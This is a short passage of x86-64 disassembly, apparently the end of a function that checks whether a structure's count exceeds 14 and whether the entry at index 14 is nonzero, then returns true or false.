je 0x1400142b1
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400142c3
xor al, al
jmp 0x1400142e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142df
xor al, al
jmp 0x1400142e1
mov al, 1
add rsp, 0x38
ret